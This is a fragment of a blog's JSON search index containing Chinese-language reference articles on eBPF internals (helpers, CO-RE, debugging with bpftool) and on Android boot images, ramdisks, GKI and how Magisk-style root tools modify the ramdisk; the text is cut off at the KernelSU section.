","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:7:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#内存访问"},{"categories":null,"collections":null,"content":"进程信息 // 获取 PID/TID u64 bpf_get_current_pid_tgid(void); // 返回: (PID \u003c\u003c 32) | TID // 获取 UID/GID u64 bpf_get_current_uid_gid(void); // 返回: (GID \u003c\u003c 32) | UID // 获取进程名 long bpf_get_current_comm(void *buf, u32 size); // 获取 cgroup ID u64 bpf_get_current_cgroup_id(void); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:7:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#进程信息"},{"categories":null,"collections":null,"content":"时间和随机 // 获取纳秒级时间戳 u64 bpf_ktime_get_ns(void); // 获取启动时间 u64 bpf_ktime_get_boot_ns(void); // 获取随机数 u32 bpf_get_prandom_u32(void); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:7:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#时间和随机"},{"categories":null,"collections":null,"content":"Map 操作 void *bpf_map_lookup_elem(struct bpf_map *map, const void *key); long bpf_map_update_elem(struct bpf_map *map, const void *key, const void *value, u64 flags); long bpf_map_delete_elem(struct bpf_map *map, const void *key); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:7:4","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#map-操作-1"},{"categories":null,"collections":null,"content":"输出和调试 // 性能事件输出 long bpf_perf_event_output(void *ctx, struct bpf_map *map, u64 flags, void *data, u64 size); // 环形缓冲区输出 (推荐) void *bpf_ringbuf_reserve(struct bpf_map *ringbuf, u64 size, u64 flags); void bpf_ringbuf_submit(void *data, u64 flags); void bpf_ringbuf_discard(void *data, u64 flags); // 调试输出 long bpf_trace_printk(const char *fmt, u32 fmt_size, ...); // 输出到 /sys/kernel/debug/tracing/trace_pipe ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:7:5","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#输出和调试"},{"categories":null,"collections":null,"content":"CO-RE (Compile Once – Run Everywhere) ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:8:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#co-re-compile-once--run-everywhere"},{"categories":null,"collections":null,"content":"BTF (BPF Type Format) BTF 提供了内核类型信息，使 eBPF 程序可以跨内核版本运行。 // 传统方式 - 硬编码偏移 u32 pid = *(u32 *)(task + 0x4c0); // 不同内核偏移不同 // CO-RE 方式 - 使用 BTF u32 pid; bpf_core_read(\u0026pid, sizeof(pid), \u0026task-\u003epid); // 或使用 BPF_CORE_READ 宏 u32 pid = BPF_CORE_READ(task, pid); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:8:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#btf-bpf-type-format"},{"categories":null,"collections":null,"content":"字段重定位 // 自动处理结构体字段偏移变化 struct task_struct___old { int pid; // ... 旧版本布局 }; struct task_struct___new { int __pad; int pid; // ... 新版本布局 }; // CO-RE 会在加载时自动重定位 int pid = BPF_CORE_READ(task, pid); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:8:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#字段重定位"},{"categories":null,"collections":null,"content":"内核版本检测 // 检查字段是否存在 if (bpf_core_field_exists(task-\u003eloginuid)) { // 使用 loginuid } // 检查枚举值 if (bpf_core_enum_value_exists(enum bpf_func_id, BPF_FUNC_xyz)) { // 使用新功能 } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:8:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#内核版本检测"},{"categories":null,"collections":null,"content":"Android 特定考虑 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:9:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#android-特定考虑"},{"categories":null,"collections":null,"content":"Android eBPF 限制 SELinux 限制 # 检查 SELinux 域 adb shell cat /proc/self/attr/current # 可能需要的 SELinux 策略 allow domain bpf:bpf { map_create prog_load }; 内核配置差异 # 检查可用的 eBPF 特性 adb shell cat /proc/sys/kernel/unprivileged_bpf_disabled 库路径差异 # Android 系统库位置 /system/lib64/libc.so /apex/com.android.runtime/lib64/bionic/libc.so /system/lib64/libcrypto.so ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:9:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#android-ebpf-限制"},{"categories":null,"collections":null,"content":"Android 专用追踪 // 追踪 Binder 调用 SEC(\"tracepoint/binder/binder_transaction\") int trace_binder(struct trace_event_raw_binder_transaction *ctx) { // 追踪进程间通信 return 0; } // 追踪 ART 虚拟机 SEC(\"uprobe/libart.so:_ZN3art...\") int trace_art(struct pt_regs *ctx) { // 追踪 Java 方法调用 return 0; } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:9:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#android-专用追踪"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:10:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#性能优化"},{"categories":null,"collections":null,"content":"减少 Map 查找 // 不好 - 多次查找 void *val1 = bpf_map_lookup_elem(\u0026map, \u0026key); void *val2 = bpf_map_lookup_elem(\u0026map, \u0026key); // 好 - 缓存结果 void *val = bpf_map_lookup_elem(\u0026map, \u0026key); if (val) { // 使用 val 两次 } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:10:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#减少-map-查找"},{"categories":null,"collections":null,"content":"使用 Per-CPU Map // 避免锁竞争 struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, struct stats); } stats SEC(\".maps\"); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:10:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#使用-per-cpu-map"},{"categories":null,"collections":null,"content":"减少栈使用 // eBPF 栈大小限制为 512 字节 // 不好 - 大数组在栈上 char buf[256]; // 好 - 使用 Per-CPU 数组 struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, char[256]); } heap SEC(\".maps\"); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:10:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#减少栈使用"},{"categories":null,"collections":null,"content":"调试技巧 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:11:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#调试技巧"},{"categories":null,"collections":null,"content":"查看验证器日志 # 增加日志级别 echo 2 \u003e /proc/sys/kernel/bpf_stats_enabled # 查看加载失败的详细信息 bpftool prog load xxx.o /sys/fs/bpf/xxx verbose ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:11:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#查看验证器日志"},{"categories":null,"collections":null,"content":"追踪 BPF 事件 # 使用 bpftrace 追踪 bpf 系统调用 bpftrace -e 'tracepoint:syscalls:sys_enter_bpf { printf(\"bpf cmd=%d\\n\", args-\u003ecmd); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:11:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#追踪-bpf-事件"},{"categories":null,"collections":null,"content":"检查已加载的程序 # 列出所有 BPF 程序 bpftool prog list # 查看程序详情 bpftool prog show id 123 # 查看字节码 bpftool prog dump xlated id 123 # 查看 JIT 编译后的代码 bpftool prog dump jited id 123 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:11:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#检查已加载的程序"},{"categories":null,"collections":null,"content":"参考资料 Linux Kernel BPF Documentation BPF and XDP Reference Guide eBPF Instruction Set BTF Type Information ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:12:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#参考资料"},{"categories":null,"collections":null,"content":"Boot Image、Ramdisk 与 GKI 详解 深入理解 Android 启动镜像的结构、ramdisk 的作用以及 GKI (Generic Kernel Image) 架构，这些知识是理解 Root 方案（如 Magisk、KernelSU）工作原理的基础。 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:0:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#boot-imageramdisk-与-gki-详解"},{"categories":null,"collections":null,"content":"1. Android 启动流程概述 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:1:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#1-android-启动流程概述"},{"categories":null,"collections":null,"content":"1.1 启动阶段 ┌─────────────────────────────────────────────────────────────────────────────┐ │ Android 启动流程 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ ROM │ │ Boot- │ │ Kernel │ │ Init │ │ │ │ (固件) │───►│ loader │───►│ 启动 │───►│ 进程 │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 硬件初始 │ │ 加载 │ │ 挂载 │ │ 启动 │ │ │ │ 化 │ │ boot.img │ │ ramdisk │ │ Zygote │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ │ ▼ │ │ ┌──────────┐ │ │ │ System │ │ │ │ Server │ │ │ └──────────┘ │ │ │ │ │ ▼ │ │ ┌──────────┐ │ │ │ Launcher│ │ │ │ (桌面) │ │ │ └──────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:1:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#11-启动阶段"},{"categories":null,"collections":null,"content":"1.2 各阶段说明 阶段 说明 关键文件 BootROM 固化在芯片中的代码，初始化硬件 - Bootloader 引导加载程序，加载内核 aboot, ABL Kernel Linux 内核启动 zImage, Image Ramdisk 临时根文件系统 ramdisk.cpio Init 第一个用户空间进程 /init Zygote Android 进程孵化器 app_process ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:1:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#12-各阶段说明"},{"categories":null,"collections":null,"content":"2. Boot Image 结构 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:2:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#2-boot-image-结构"},{"categories":null,"collections":null,"content":"2.1 Boot Image 组成 Boot Image (boot.img) 是 Android 设备启动的核心镜像： ┌─────────────────────────────────────────────────────────────────────────────┐ │ boot.img 结构 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 偏移量 大小 内容 │ │ ───────────────────────────────────────────────────────────────────── │ │ 0x0000 2KB Boot Header (启动头) │ │ - magic: \"ANDROID!\" │ │ - kernel_size │ │ - ramdisk_size │ │ - cmdline │ │ - ... │ │ ───────────────────────────────────────────────────────────────────── │ │ 对齐后 kernel_size Kernel (内核镜像) │ │ - 压缩的 Linux 内核 │ │ - 通常为 gzip 压缩 │ │ ───────────────────────────────────────────────────────────────────── │ │ 对齐后 ramdisk_size Ramdisk (初始内存盘) │ │ - CPIO 格式的文件系统 │ │ - gzip 压缩 │ │ ───────────────────────────────────────────────────────────────────── │ │ 对齐后 second_size Second Stage (可选) │ │ - 第二阶段引导程序 │ │ ───────────────────────────────────────────────────────────────────── │ │ 对齐后 dtb_size DTB (设备树, v2+) │ │ - Device Tree Blob │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:2:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#21-boot-image-组成"},{"categories":null,"collections":null,"content":"2.2 Boot Header 版本 Android 不同版本使用不同的 boot header 格式： 版本 Android 版本 特点 v0-v2 Android 9 及更早 传统格式 v3 Android 11 引入 vendor_boot v4 Android 12+ 支持 vendor_ramdisk ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:2:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#22-boot-header-版本"},{"categories":null,"collections":null,"content":"2.3 Boot Header v3/v4 结构 // Android 12+ boot header v4 struct boot_img_hdr_v4 { uint8_t magic[BOOT_MAGIC_SIZE]; // \"ANDROID!\" uint32_t kernel_size; // 内核大小 uint32_t ramdisk_size; // ramdisk 大小 uint32_t os_version; // 系统版本 uint32_t header_size; // header 大小 uint32_t reserved[4]; // 保留字段 uint32_t header_version; // header 版本 (4) uint8_t cmdline[BOOT_ARGS_SIZE]; // 内核命令行 uint32_t signature_size; // 签名大小 (v4 新增) }; ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:2:3","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#23-boot-header-v3v4-结构"},{"categories":null,"collections":null,"content":"3. Ramdisk 详解 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:3:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#3-ramdisk-详解"},{"categories":null,"collections":null,"content":"3.1 什么是 Ramdisk Ramdisk 是一个临时的内存文件系统，在内核启动早期加载到内存中： 格式: CPIO 归档，通常使用 gzip 压缩 作用: 提供启动初期所需的文件和程序 生命周期: 系统启动后可能被卸载或保留 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:3:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#31-什么是-ramdisk"},{"categories":null,"collections":null,"content":"3.2 Ramdisk 内容 ramdisk/ ├── init # 第一个用户空间进程 ├── init.rc # init 配置脚本 ├── init.*.rc # 设备特定配置 ├── default.prop # 默认属性 ├── fstab.* # 文件系统挂载表 ├── ueventd.rc # 设备节点配置 ├── sbin/ # 系统二进制文件 │ ├── adbd # ADB 守护进程 │ └── ... ├── system/ # 指向 /system 的挂载点 ├── vendor/ # 指向 /vendor 的挂载点 ├── dev/ # 设备文件 ├── proc/ # 进程文件系统 └── sys/ # sysfs 文件系统 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:3:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#32-ramdisk-内容"},{"categories":null,"collections":null,"content":"3.3 First Stage Init vs Second Stage Init Android 使用两阶段 init： ┌─────────────────────────────────────────────────────────────────────────────┐ │ Init 两阶段启动 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ First Stage Init │ │ │ │ │ │ │ │ 来源: boot.img 中的 ramdisk │ │ │ │ 任务: │ │ │ │ 1. 设置基本环境 (/dev, /proc, /sys) │ │ │ │ 2. 加载 SELinux 策略 │ │ │ │ 3. 挂载 /system, /vendor 等分区 │ │ │ │ 4. 切换到 Second Stage Init │ │ │ │ │ │ │ └────────────────────────────┬──────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ Second Stage Init │ │ │ │ │ │ │ │ 来源: /system/bin/init │ │ │ │ 任务: │ │ │ │ 1. 解析 init.rc 脚本 │ │ │ │ 2. 启动各类服务 (servicemanager, surfaceflinger...) │ │ │ │ 3. 启动 Zygote │ │ │ │ 4. 属性服务 │ │ │ │ │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:3:3","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#33-first-stage-init-vs-second-stage-init"},{"categories":null,"collections":null,"content":"3.4 不同类型的 Ramdisk Android 11+ 引入了多种 ramdisk： 类型 位置 内容 用途 Generic Ramdisk boot.img 通用 init 文件 First stage init Vendor Ramdisk vendor_boot.img 厂商特定文件 硬件初始化 Recovery Ramdisk recovery.img Recovery 环境 系统恢复 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:3:4","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#34-不同类型的-ramdisk"},{"categories":null,"collections":null,"content":"4. GKI (Generic Kernel Image) ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:4:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#4-gki-generic-kernel-image"},{"categories":null,"collections":null,"content":"4.1 GKI 概述 GKI 是 Google 在 Android 11 引入的通用内核镜像架构： ┌─────────────────────────────────────────────────────────────────────────────┐ │ 传统架构 vs GKI 架构 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 传统架构 (Android 10 及更早) │ │ ───────────────────────────────────────── │ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ boot.img (设备特定) │ │ │ │ ┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ │ │ │ │ Kernel │ │ Ramdisk │ │ DTB │ │ │ │ │ │ (设备特定) │ │ (设备特定) │ │ (设备特定) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ - 厂商驱动 │ │ - init │ │ - 设备树 │ │ │ │ │ │ - 定制修改 │ │ - 配置文件 │ │ │ │ │ │ │ └──────────────────┘ └──────────────────┘ └──────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ GKI 架构 (Android 11+) │ │ ───────────────────────────────────────── │ │ │ │ ┌──────────────────────────────────┐ ┌──────────────────────────────┐ │ │ │ boot.img (通用) │ │ vendor_boot.img │ │ │ │ ┌──────────────────────────┐ │ │ ┌──────────────────────┐ │ │ │ │ │ GKI Kernel │ │ │ │ Vendor Ramdisk │ │ │ │ │ │ (Google 提供) │ │ │ │ (厂商提供) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ - 标准化接口 │ │ │ │ - 硬件初始化 │ │ │ │ │ │ - 稳定 ABI │ │ │ │ - 厂商配置 │ │ │ │ │ └──────────────────────────┘ │ │ └──────────────────────┘ │ │ │ │ ┌──────────────────────────┐ │ │ ┌──────────────────────┐ │ │ │ │ │ Generic Ramdisk │ │ │ │ DTB │ │ │ │ │ │ (Google 提供) │ │ │ │ (厂商提供) │ │ │ │ │ └──────────────────────────┘ │ │ └──────────────────────┘ │ │ │ └──────────────────────────────────┘ └──────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────────────────────────────────────────┐ │ │ │ vendor_dlkm (动态加载内核模块) │ │ │ │ 厂商驱动以 LKM 形式加载，不修改 GKI 内核 │ │ │ └──────────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:4:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#41-gki-概述"},{"categories":null,"collections":null,"content":"4.2 GKI 版本 GKI 版本 Android 版本 内核版本 特点 GKI 1.0 Android 11 5.4 初始版本 GKI 2.0 Android 12 5.10 完整模块化 GKI 2.0 Android 13 5.15 增强稳定性 GKI 2.0 Android 14 6.1 最新内核支持 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:4:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#42-gki-版本"},{"categories":null,"collections":null,"content":"4.3 GKI 的优势 ┌─────────────────────────────────────────────────────────────────────────────┐ │ GKI 优势 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. 更快的安全更新 │ │ - Google 可以直接推送内核安全补丁 │ │ - 无需等待厂商适配 │ │ │ │ 2. 标准化接口 (KMI - Kernel Module Interface) │ │ - 厂商驱动与内核解耦 │ │ - 驱动以模块形式加载 │ │ │ │ 3. 更小的 boot.img │ │ - 厂商特定内容移至 vendor_boot │ │ - 便于 OTA 更新 │ │ │ │ 4. 利于 Root 方案 │ │ - KernelSU 可以作为 LKM 加载 │ │ - 无需编译完整内核 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:4:3","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#43-gki-的优势"},{"categories":null,"collections":null,"content":"4.4 检查设备是否使用 GKI # 检查内核版本 adb shell uname -r # GKI 内核通常显示: 5.10.x-android13-x-xxxxx # 检查是否存在 vendor_boot 分区 adb shell ls -la /dev/block/by-name/ | grep vendor_boot # 检查内核配置 adb shell zcat /proc/config.gz | grep CONFIG_GKI ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:4:4","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#44-检查设备是否使用-gki"},{"categories":null,"collections":null,"content":"5. 分区与镜像类型 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:5:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#5-分区与镜像类型"},{"categories":null,"collections":null,"content":"5.1 启动相关分区 分区 用途 备注 boot 内核 + 通用 ramdisk 必需 vendor_boot 厂商 ramdisk + DTB GKI 设备 init_boot 通用 ramdisk Android 13+ recovery Recovery 环境 部分设备 dtbo 设备树覆盖 独立分区 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:5:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#51-启动相关分区"},{"categories":null,"collections":null,"content":"5.2 Android 13+ 分区变化 Android 12: boot.img = kernel + generic_ramdisk Android 13+: boot.img = kernel only init_boot.img = generic_ramdisk ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:5:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#52-android-13-分区变化"},{"categories":null,"collections":null,"content":"5.3 A/B 分区 现代 Android 设备使用 A/B 分区方案： boot_a boot_b vendor_boot_a vendor_boot_b system_a system_b ... 查看当前槽位： adb shell getprop ro.boot.slot_suffix # 输出: _a 或 _b ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:5:3","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#53-ab-分区"},{"categories":null,"collections":null,"content":"6. Root 方案与启动镜像 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:6:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#6-root-方案与启动镜像"},{"categories":null,"collections":null,"content":"6.1 Magisk 修改方式 ┌─────────────────────────────────────────────────────────────────────────────┐ │ Magisk 修改 Boot Image │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 原始 boot.img 修改后 boot.img │ │ ───────────────── ───────────────── │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Kernel │ │ Kernel │ (保持不变) │ │ └─────────────────┘ └─────────────────┘ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Ramdisk │ ───► │ Magisk Ramdisk │ │ │ │ │ │ │ │ │ │ - init │ │ - magiskinit │ ← 替换 init │ │ │ - init.rc │ │ - init.rc │ │ │ │ - ... │ │ - overlay.d/ │ ← Magisk 覆盖 │ │ │ │ │ - ... │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ │ Magisk 注入流程: │ │ 1. magiskinit 作为 init 启动 │ │ 2. 执行 Magisk 初始化 │ │ 3. 挂载 Magisk 文件系统 │ │ 4. 启动 magiskd 守护进程 │ │ 5. 调用原始 init 继续启动 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:6:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#61-magisk-修改方式"},{"categories":null,"collections":null,"content":"6.2 KernelSU 修改方式 ┌─────────────────────────────────────────────────────────────────────────────┐ │ KernelSU 修改 Boot Image │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 方式一: 